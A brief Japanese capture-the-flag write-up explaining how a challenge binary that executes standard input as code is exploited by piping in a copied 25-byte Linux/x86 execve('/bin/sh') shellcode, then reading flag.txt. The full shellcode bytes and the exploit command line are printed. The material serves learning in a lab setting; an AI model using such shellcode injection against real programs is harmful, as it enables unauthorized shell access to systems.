以下のWriteupを参考に解きました.
自分なりに噛み砕いて解法を書きます.
解く手順
渡されるソースコードを解読する
問題と一緒にソースコードが渡されます.
main関数を見ると,標準入力から渡された文字列をそのまま関数のように実行することがわかります.
そこで,シェルコードを実行プログラムに渡せば,シェルを立ち上げることができます.
シェルコードを書く
アセンブリ言語を書くのが難しかったので,インターネット上のコードをそのままコピペしました.
Linux/x86 - execve(/bin/sh) - 25 bytes
実行
echo
でシェルコードを出力して,実行プログラムにパイプします.
$ (echo -e "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; cat) | ./vuln
-e
でエスケープシーケンスを解釈してくれます.("\x"をつけると16進数とみなす)
echo
の後にcat
を実行することで,端末からの入力を受け取り続けるので,シェルを起動し続けることができます.
フラグ獲得
成功しても何も表示されませんが,cat flag.txt
を実行すると,中身のフラグを得ることができます.